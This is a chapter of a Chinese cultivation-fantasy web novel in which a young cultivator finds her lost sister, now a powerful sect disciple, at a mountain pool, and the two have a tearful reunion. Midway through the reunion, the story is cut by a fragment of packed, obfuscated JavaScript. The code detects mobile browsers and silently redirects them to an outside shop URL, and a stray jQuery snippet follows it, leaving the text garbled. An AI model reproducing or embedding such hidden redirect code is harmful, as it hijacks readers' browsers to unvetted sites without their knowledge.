文趣网 > 其他小说 > 修仙:混沌圣体 > 20. 姐姐,阿清真的好想你
    七月的官道,能把人烤成肉干。

    日头像只发了疯的火麒麟,悬在天上喷云吐雾,把方圆千里的空气都烧得扭曲变形。蝉躲在道旁老槐树的浓荫里,扯着嗓子嘶鸣,一声叠着一声,像是老天爷派来催命的,叫得人脑仁子嗡嗡作响。

    云清骑在踏云驴背上,整个人瘫成了一张饼。

    她今日穿了一身正红色的纱衣,料子倒轻薄,可被汗水一浸,湿哒哒地贴在背上,风一吹,凉一阵热一阵,活像是在被人用烙铁和冰水轮番伺候。头发随便挽了个堕马髻,斜斜插着支赤金步摇,步摇上的金丝流苏随着驴子的颠簸一下下敲在脑门上,敲得她心烦意乱。

    "陆昭,"她有气无力地喊,手里拎着那把从不离身的烧火棍,有一下没一下地敲着驴脖子,"你买的这驴,确定叫'踏云'?我怎么觉得它该叫'踏泥'?走了三个时辰,还没走出芙蓉镇的地界,这速度比我祖母还慢。"

    "你祖母老人家高寿?"陆昭骑在前头另一头驴上,情况比她好不到哪去。一身墨绿锦袍早被汗水浸成了墨黑,跟刚从水里捞出来的水鬼似的。他手里那把描金折扇摇得跟风车似的,扇面上的"和气生财"四个字被汗水晕开,活像"核气生财"。

    "一百零三,"云清吐掉嘴里的甘草糖渣,"她老人家拄拐都比这驴快。"

    驴子仿佛听懂了,长耳朵抖了抖,回头给了云清一个白眼,然后继续低着头,慢条斯理地啃路边半枯的野草,嚼得津津有味,气得云清想把烧火棍捅它鼻孔里。

    "师姐,"阿福牵着缰绳走在旁边,清秀的小脸晒得跟红苹果似的,汗珠子顺着下巴往下淌,却还在努力翻着手里的话本,"话本里说,大侠赶路都要'餐风饮露,日行千里',咱们这是不是……不够大侠?"

    "咱们不是大侠,"云清翻了个身,改成趴在驴背上,死鱼一样望着前方热浪扭曲的空气,"咱们是四条被太阳晒蔫了的咸鱼。你看前面那路,青石板都快冒烟了,再走两个时辰,咱们可以直接撒点孜然,原地把自己烤了给过路人加餐。"

    "阿福,"陆昭有气无力地接话,"把话本收起来。再看下去,你师姐要把自己写成话本里的苦情女主了。"

    "那不能,"云清把脸埋在臂弯里,闷声闷气地说,"苦情女主都是白衣飘飘,迎风落泪。我这么红,这么靓,一看就是那种会掀桌子的反派。专门抢主角糖葫芦的那种。"

    队伍最后,谢凛抱着剑,不紧不慢地跟着。

    他玄衣乌簪,惊鸿剑横在肘间,周身剑气自成屏障,将热浪逼退三尺开外。别人热得跟狗一样,他连额角都没见一滴汗,冷峻得像块行走的冰雕,看得云清格外来气。

    "裸泳男,"她扯着嗓子喊,"把你那剑气屏障开大点,罩罩我们!"

    "罩不了,"谢凛眼皮都没抬,"费灵力。"

    "小气!"

    "与你无关。"

    "那我喊你外号了?"

    谢凛的剑"铮"地出鞘一寸。

    云清立刻举手投降:"错了错了!谢大侠灵力宝贵,岂能浪费在我等凡夫俗子身上!您自个儿凉快去吧!"

    她说完,把自己摊回驴背上,嘴里嘟囔着骂骂咧咧,但骂的是什么,连她自己都听不清了。

    她是真的累。

    不只是身体累。

    从离开归元宗到现在,已经五日。五日里,她白天赶路,夜里画符,闭上眼睛就是灭门那夜的血,睁开眼睛就是前方茫茫未知的路。她得惦记着混沌冢,惦记着那块黑色残片的指引,惦记着白絮和识海里的魔神有没有在宗门里继续兴风作浪。

    更得惦记着……姐姐。

    云攸。

    三年了。

    一千多个日夜。

    那个会温温柔柔叫她"阿清"的人,现在到底在哪?知不知道家里已经没了?知不知道她云清现在像个没头苍蝇一样,到处乱撞?

    她摸了摸右手腕上的红绳。

    那根旧得发暗的绳子,被汗水浸透,颜色深得像血。

    "姐,"她在心里小声说,"阿清真的快撑不住了。你倒是……给我点动静啊。"

    ---

    日头偏西的时候,他们终于看见了一处驿站。

    说是驿站,其实就是几间土坯房围着一口水井,门口搭着个茅草棚子,摆了几张缺胳膊少腿的桌椅。一匹瘦骨嶙峋的老马被拴在桩子上,无精打采地甩着尾巴。

    "有水!"阿福眼睛亮了,"师姐!有水井!"

    "有水井应该就有瓜,"云清也来了精神,从驴背上跳下来,把烧火棍往肩上一扛,"走!去买两个西瓜,要井水里冰过的!"

    四个人(三头驴被拴在棚子外)走进驿站,里面的景象却让他们微微一愣。

    驿站里人不少,比想象中多。

    靠窗坐着几个走镖的汉子,袒胸露乳,腰上挂着朴刀,正在大声划拳。角落里缩着两个裹着灰袍的散修,面前摆着几块血糊糊的妖兽材料,眼神鬼祟地打量着来往客人。还有一桌是普通的行商,正埋头扒饭。

    最扎眼的是中间那桌。

    七八个穿着水蓝色弟子服的年轻修士,袖口绣着碧色的云纹,腰间悬着统一的青玉令牌。为首的是个二十来岁的青年,面容俊朗,眉宇间带着一股子高高在上的傲气,正在跟同伴高声谈笑。

    "碧霄宗的……"陆昭压低声音,折扇也不摇了。

    云清的脚步顿了一瞬。

    碧霄宗。

    姐姐当年,就是被碧霄宗带走的。

    她体内的混沌道种轻轻颤了一下,像是沉睡的野兽嗅到了同类的气息。但云清没动,她只是攥紧了烧火棍,目光在那群碧霄宗弟子身上扫了一圈,随即若无其事地走到柜台前,把烧火棍往桌上一拍:"掌柜的!冰镇西瓜!切四个!"

    掌柜的是个五十来岁的汉子,黝黑的脸上堆着笑:"好嘞!姑娘稍等!"

    云清靠在柜台上,耳朵却竖了起来。

    那群碧霄宗弟子的谈话,断断续续地飘过来。

    "……这次出来,真是倒了血霉。宗主非要我们来采什么玄冰草,这种天气往落霞山脉跑,热都热死了……"

    "就是!不过话说回来,云攸师姐怎么没跟咱们一起?她不是最擅长水系功法吗?"

    "云攸师姐?"一个女弟子接话,声音里满是崇拜,"师姐可是元婴期的大能,哪能跟咱们这些小虾米一起?她独来独往惯了,说不定已经到了落霞涧,咱们还在半路上磨蹭呢。"

    "元婴期啊……"另一个弟子感叹,"咱们碧霄宗这一代,除了宗主,就数云攸师姐修为最高了吧?听说她才十九岁!"

    "嘘——小声点!云攸师姐的名讳也是你能随便议论的?"

    云清靠在柜台边,端着掌柜递过来的粗瓷茶碗,一口没喝。

    她的手在抖。

    茶碗里的水面晃出一圈圈涟漪,溅在她手指上,凉得刺骨。

    云攸。

    十九岁。

    元婴期。

    碧霄宗。

    每一个字,都像是一把锤子,重重敲在她的心上。

    找到了。

    真的是姐姐!

    那个三年前被带走时,还只是个凡间少女的云攸,现在已经成了元婴期的大能?她才十九岁啊……三年,从凡人修炼到元婴,这是何等恐怖的天赋?

    "姑娘,您的西瓜!"掌柜的端上切好的西瓜,红瓤黑籽,一看就甜。

    云清却像是没听见。

    她放下茶碗,转过身,一步一步朝那群碧霄宗弟子走去。

    每一步,都像是踩在棉花上。

    陆昭在后面喊:"云清!你干嘛?"

    云清没回头。

    她走到那桌碧霄宗弟子面前,双手撑着桌沿,目光直直地盯着那个为首的青年:"你们刚才说……云攸?"

    那青年被吓了一跳,皱眉打量她。红衣少女,满脸汗渍,头发乱糟糟的,手里还拎着根烧火棍,怎么看都像是个不入流的散修。

    "你是什么人?"青年语气不善,"也配直呼云攸师姐的名讳?"

    "我问你,"云清的声音在发抖,但眼睛亮得吓人,像是有两团火在里面烧,"云攸……她现在在哪?"

    青年嗤笑一声:"云攸师姐的行踪,也是你能打听的?滚远点,别脏了碧霄宗的地界。"

    他说着,抬手就要推云清。

    他的手还没碰到云清的肩膀,一道玄色身影突然出现在云清身侧。谢凛的手像是一把铁钳,扣住了青年的手腕,力道之大,让青年瞬间变了脸色。

    "你——!"

    "手拿开,"谢凛的声音冷得像冰,"否则,断。"

    青年疼得额头冒汗,惊怒交加:"你敢对我动手?!我是碧霄宗内门弟子周铭!"

    "碧霄宗,内门弟子,"谢凛淡淡地重复了一遍,手一甩,周铭踉跄着倒退了好几步,差点撞翻旁边的桌子,"很强吗?"

    周铭的脸涨成了猪肝色。

    他身后几个碧霄宗弟子纷纷拔剑,水蓝色的剑光在阳光下亮成一片。驿站里的人群"轰"地散开,腾出了一大片空地。

    "归元宗,谢凛,"谢凛惊鸿剑半出鞘,剑骨发出低沉的共鸣,目光扫过那群碧霄宗弟子,像是在看一群土鸡瓦狗,"想打,一起上。别浪费我时间。"

    "惊鸿峰谢凛?!天生剑骨那个?"

    "他就是谢凛?二十三岁金丹剑修?"

    "碧霄宗这回踢到铁板了……"

    人群里响起一片惊呼。

    周铭的脸色由红转白,又由白转青。他死死盯着谢凛,握着剑柄的手青筋暴起,但最终,他没敢拔剑。

    因为他知道,十个他加起来,也不够谢凛一剑劈的。

    "好……好得很,"周铭从牙缝里挤出几个字,"归元宗了不起。不过,就算你们归元宗再了不起,云攸师姐也不是你们能随便打听的。她此刻在落霞涧采摘九叶玄冰草,距此……八十里。但你们若敢去打扰她,宗主怪罪下来,你们担得起吗?"

    "落霞涧?八十里?"云清猛地抬头,"往哪走?"

    周铭冷笑:"凭什么告诉你?"

    云清看着他,忽然笑了。

    那笑容很冷,像是一把出鞘的刀。

    她从怀里掏出一张黄纸,烧火棍一挑,蘸着随身携带的朱砂,当着所有人的面,在桌上画了起来。

    三息。

    一张定身符画完。

    "啪"地拍在周铭额头上。

    周铭浑身一僵,动弹不得,只眼珠还能转,满脸惊恐。

    "方向,"云清凑近他,笑得贱兮兮的,"说。"

    "东……往东四十里,过紫竹林,有瀑布……瀑布下的寒潭就是落霞涧……"周铭的声音都在发抖。

    "早说不就完了,"云清拍拍手,把定身符撕下来塞回怀里——还能再用一次,"谢凛,走!"

    她转身就冲了出去。

    红衣在热浪里一闪,像团滚动的火。

    谢凛紧随其后。

    陆昭和阿福对视一眼,连滚带爬地骑上驴,拼命追赶。

    留下一屋子人面面相觑。

    周铭额头上的符纸印子红彤彤的,他气得浑身发抖:"愣着干嘛!追啊!"

    ---

    八十里路。

    云清没有骑驴。

    她几乎是跑在最前面,红衣被汗水浸透,贴在身上,勾勒出单薄却挺拔的肩背。她忘了掐诀御剑,忘了自己还有踏云驴,忘了身后还有谢凛他们。

    她只知道,那个方向。

    那个牵引着她心跳的方向。

    越来越近。

    "师姐!慢点!"阿福在后面气喘吁吁地喊,"我……我跟不上了!"

    云清脚步微顿,回头看了他一眼,然后二话不说,冲回去一把拎起阿福的后领,把他往踏云驴背上一放:"抱着驴脖子,掉下去我不管。"

    "哦……"阿福乖乖抱紧。

    陆昭摇着已经完全湿透、根本摇不起来的折扇,深一脚浅一脚地跟着:"云清!你慢点!这山路跑太快容易——"

    "轰隆!"

    他的话被一声巨响打断。

    不是雷鸣。

    是前方的山谷中,传来的一声惊天动地的巨响!

    紧接着,一道水蓝色的光柱冲天而起,穿透了厚重的云层,直插云霄!那光柱周围环绕着无数细碎的冰晶,在阳光下折射出梦幻般的七彩光芒,将方圆十里的天空照得如同白昼!

    "那是——!"陆昭瞪大了眼。

    "碧霄宗的'玄冥真水阵',"谢凛的声音凝重起来,"至少是元婴期修士才能施展的大范围阵法。云攸仙子……在战斗?"

    云清没有说话。

    她看着那道水蓝色的光柱,整个人像是被雷劈中了一样,僵在原地。

    体内的混沌道种疯狂震颤,九色光芒不受控制地从她体内溢出,与远方那道水蓝光柱遥相呼应。两种光芒在空气中交织,像是一对失散多年的阴阳双鱼,终于在这一刻感应到了彼此的存在。

    "姐姐……"云清的声音在发抖,"是姐姐……"

    她扔下烧火棍,拔腿就跑!

    "云清!"

    谢凛等人连忙跟上。

    ---

    山谷中央,是一片巨大的寒潭。

    潭水漆黑如墨,水面上却漂浮着无数细碎的冰莲,每一朵冰莲都散发着幽幽的蓝光。潭边的青石板上,长着几株通体莹白、叶片边缘泛着淡蓝光泽的灵草——正是九叶玄冰草。

    而潭边,站着一个人。

    淡青色的长裙,裙摆未湿,像是被一层无形的水汽托着,在瀑布带起的风里轻轻飘动。长发及腰,未束发髻,只用一根通体碧绿的青玉簪松松挽着。面容清丽绝伦,温润如玉,却又透着一股让人不敢直视的庄重与强大。

    即便只是一个背影,也透着一股出尘的清冷与威压。

    那是元婴修士独有的、与天地灵气浑然一体的气韵。

    云清站在竹林边缘,浑身是泥,满身是伤——刚才跑得太急,摔了两跤,膝盖还在流血——头发乱得像鸡窝,赤着一只脚。

    她张了张嘴,却发不出声音。

    三年的思念。

    一千多个日夜。

    她以为姐姐变成了高高在上的仙人,忘了她,忘了家,忘了那根红绳和三年之约。

    但此刻,当她真的看见那个背影时,所有的委屈、所有的恐惧、所有的故作坚强,全部化作汹涌的浪潮,冲垮了心防。

    她只是站在那里,眼泪无声地往下掉。

    云攸采完了最后一株玄冰草,直起身,将玉瓶收入宽大的云袖中。

    就在这一瞬。

    她身体微微一僵。

    像是感应到了什么。

    那感应极其微弱,却极其熟悉,像是一缕来自血脉深处的呼唤,穿透了瀑布的轰鸣,穿透了元婴修士坚如磐石的道心,轻轻叩响了她灵魂的门扉。

    她缓缓转身。

    四目相对的刹那——

    时间仿佛静止了。

    连瀑布的轰鸣都退潮般远去,只剩下心跳声,咚,咚,咚,在胸腔里震耳欲聋。

    云攸那双杏子眼,在看到竹林边缘那个红衣少女的瞬间,瞳孔骤然收缩成了针尖大小。

    她手中的玉瓶,"啪"地掉在了青石上,摔得粉碎。

    那张清冷绝美的脸上,出现了云清从未见过的表情。

    不敢置信。

    震惊。

    狂喜。

    还有……浓到化不开的、几乎要将她撕裂的悲伤与心疼。

    "阿……清?"

    她的声音轻得像是在做梦,带着浓重到化不开的鼻音,甚至有一丝脆弱的颤抖。

    云清往前迈了一步。

    又一步。

    然后她跑了起来。

    35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17917999|213382||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >她冲过竹林边缘最后的灌木,踏过湿漉漉的青苔,踉踉跄跄地扑向潭边那个淡青色的身影。泥水溅起,血痕划过,她什么都顾不上了。

    "姐姐——!"

    这一声,喊得撕心裂肺,像是要把三年的日日夜夜,都喊进这一声里。

    云攸在那一瞬间,所有的清冷、所有的威仪、所有的元婴修士该有的泰山崩于前而色不变,全部崩塌殆尽。

    她张开双臂,身形如一道淡青色的流光,将那个满身泥污、遍体鳞伤的红衣少女,狠狠地、死死地抱进了怀里。

    "阿清……是我的阿清……"

    她的声音抖得不成样子,一遍遍念着这个名字,像是要把这两个字刻进骨子里。她的手臂收得很紧,紧得云清几乎喘不过气,但云清没有挣扎。

    她只是把脸埋进云攸的颈窝里,放声大哭。

    "姐姐……你怎么才回来……我们没有家了……阿清好害怕……爹死了……娘也死了……家里只剩下阿清一个人了……姐姐……姐姐……"

    三年的委屈。

    三年的恐惧。

    三年的故作坚强。

    在这一刻,全部化作了汹涌的泪水,决堤而出。

    云攸的眼泪也掉了下来。

    滚烫的、大颗大颗的泪珠,砸在云清乱糟糟的头发上,顺着她的发丝往下淌,流进云清的衣领里,烫得吓人。

    "不怕了,"云攸的声音哽咽,却强撑着温柔,像小时候无数个夜晚,哄怀里这个不省心的丫头睡觉那样,轻轻拍着她的后背,一下,又一下,"阿清不怕,姐姐在呢。姐姐回来了,姐姐再也不走了……姐姐以后……哪都不去了……"

    她捧起云清的脸,用袖子慌乱地擦着她脸上的泥水和泪水,动作和三年前一模一样,笨拙,急切,却又那么温柔。

    "让姐姐看看……让姐姐好好看看……"

    她的手指在云清脸上颤抖地抚过,目光仔仔细细地描摹着妹妹的眉眼。

    高了。

    瘦了。

    额角撞破了,渗着血。

    手臂上全是荆棘的划痕。

    膝盖上的泥混着血,触目惊心。

    杏子眼里迅速凝聚起了一层水汽,又被她狠狠压了回去,但眼泪还是不争气地往下掉。

    "怎么瘦成这样?"她的声音带着哭腔,却又故作凶巴巴的样子,"是不是不吃饭?是不是又跟人打架?谁欺负你了?告诉姐姐,以后姐姐保护你!好不好!"

    云清看着她这副明明心疼得要死、还要强撑着当姐姐的模样,哭着哭着,忽然笑了。

    那笑容又丑又狼狈,鼻涕眼泪糊了一脸,却带着前所未有的温暖:"姐……你现在好厉害啊……元婴期呢……"

    "元婴期有什么用?"云攸吸了吸鼻子,眼泪却越掉越凶,"连自己的妹妹都护不住……连家都回不了……算什么元婴期……"

    她重新把云清按进怀里,抱得更紧,像是要把她嵌进自己的身体里。

    "阿清,姐姐对不起你……姐姐被他们骗了……入宗后写的每一封家书,都交由内门统一寄送。姐姐以为你们都收到了……后来才知道,那些信根本没能出得了碧霄宗的山门。若姐姐早知道家里出了事,就算是叛出宗门,也会赶回去……"

    云清听着姐姐的心跳,闻着她身上熟悉的皂角香,眼泪更加汹涌:"姐……不怪你……是阿清没用……没能早点找到你……"

    "傻丫头,"云攸轻轻拍着她的背,声音温柔得像三月的春水,"找你们是姐姐的事,哪有让妹妹找的理?"

    姐妹俩相拥而泣,在寒潭边站了许久。

    谢凛、陆昭和阿福这时才赶到,看见这一幕,识趣地没有上前。

    陆昭摇着湿透的折扇,难得安静地站在一旁。阿福抱着包袱,眼眶红红的。谢凛抱着剑,靠在竹子上,目光落在云清身上,冷峻的眸底闪过一丝柔和。

    过了许久,云清才止住了泪。

    她推开云攸,用袖子胡乱擦了擦脸,努力挤出一个笑容,虽然笑得比哭还难看,眼睛红肿得像核桃:"姐,别哭了。哭多了伤眼睛。你现在是碧霄宗的元婴期的云攸仙子了,被人看见抱着个泥猴子哭鼻子,多丢人。"

    "在你面前,"云攸吸了吸鼻子,也学着她的样子用袖子擦眼泪,可越擦越多,完全没有了元婴修士的架子,"姐姐不是什么仙子。姐姐只是阿清的姐姐。永远只是阿清的姐姐。"

    她顿了顿,忽然想起什么,急忙从怀里掏出一块东西——

    那是一块用油纸包得严严实实的桂花糕。

    已经压扁了,边角有些碎裂,油纸被体温焐得温热。

    "我……我下山前特意去云州城买的,"云攸的声音又哽咽了,手指颤抖地剥开油纸,"老王记的桂花糕,你小时候最爱吃的。我想着……找到机会就托人送回去给你……可他们告诉我,云府空了,一个人都没有了……我找了好久……找不到你……"

    云清看着那块碎裂的桂花糕,刚止住的眼泪又涌了出来。

    她接过桂花糕,咬了一口。

    甜。

    甜得发苦。

    "好吃,"她含着泪笑,嘴角还沾着糕屑,"姐姐买的,最好吃。"

    云攸看着她,忽然伸手,将她额前湿漉漉、混着泥血的碎发,轻轻别到耳后。

    动作温柔得像是在触碰一件稀世珍宝。

    "阿清,"她轻声说,声音恢复了些许清冷,但看着云清的目光依然柔软得像三月的春水,"告诉姐姐,杀爹娘的凶手,有眉目了吗?"

    云清点了点头,将自己如何被沈清澜带上山,如何觉醒混沌圣体,如何灭门,如何查到黑衣人来自幽冥海、使用上古魔阵,一五一十地说了出来。

    云攸听完,淡青色长裙在风中猎猎作响,杏子眼里闪过一丝骇人的杀意。

    "碧霄宗,"她转头,看向谢凛等人,微微颔首,"多谢三位道友一路护我妹妹。这份恩情,云攸记下了。日后但有差遣,碧霄宗云攸,万死不辞。"

    谢凛淡淡点头。陆昭连忙摆手。阿福眼眶红红地说:"云攸姐姐好厉害……"

    云攸重新看向云清,语气不容置疑:"阿清,跟姐姐走。姐姐陪你去混沌冢。但在那之前,姐姐要先回一趟碧霄宗,查清楚,是谁截了姐姐的家书,是谁编造了谎言,是谁……让姐姐连爹娘最后一面都没见到。"

    云清看着姐姐,忽然笑了。

    那笑容里有泪,有痛,但更多的是一种失而复得的、从骨髓里泛出来的暖。

    "好,"她说,挽住姐姐的手臂,像小时候那样,把全身的重量都靠过去,"姐姐去哪,阿清去哪。"

    "不过,"她顿了顿,贱兮兮的笑容又回到了脸上,虽然眼眶还红着,"姐姐,你得给我买糖葫芦。五十串。要山楂的,裹厚厚的糖。"

    云攸愣了一瞬,随即破涕为笑,伸手点了点她的鼻尖,动作和三年前一模一样,宠溺而无奈。

    "好。买最大的。撑死你这个小馋鬼。"

    "我才不馋,"云清把脸埋进姐姐肩窝里,闷闷地说,声音带着浓重的鼻音,"我只是……想把这三年欠下的,都补回来。"

    云攸温柔地笑了:"都补回来。以后每一天,姐姐都给你买糖葫芦。"

    姐妹俩并肩走向紫竹林外。

    谢凛站起身,拍了拍衣摆上的竹叶,跟在后面。

    陆昭和阿福对视一眼,连忙牵着吐白沫的驴,屁颠屁颠地跟上。

    阳光透过竹叶的缝隙洒下来,在地上投下斑驳的光影。

    云清左手挽着姐姐,右手腕上的红绳从袖口滑出,在风中轻轻摇晃。

    而云攸的右手腕上,同样系着一根红绳。

    同样的暗红,同样的磨损,同样的……思念。

    两根红绳,隔着三年的时光和生死离别的苦痛,在这一刻,终于在同一阵风中,轻轻依偎。

    像是两条终于回到同一片海洋的河流。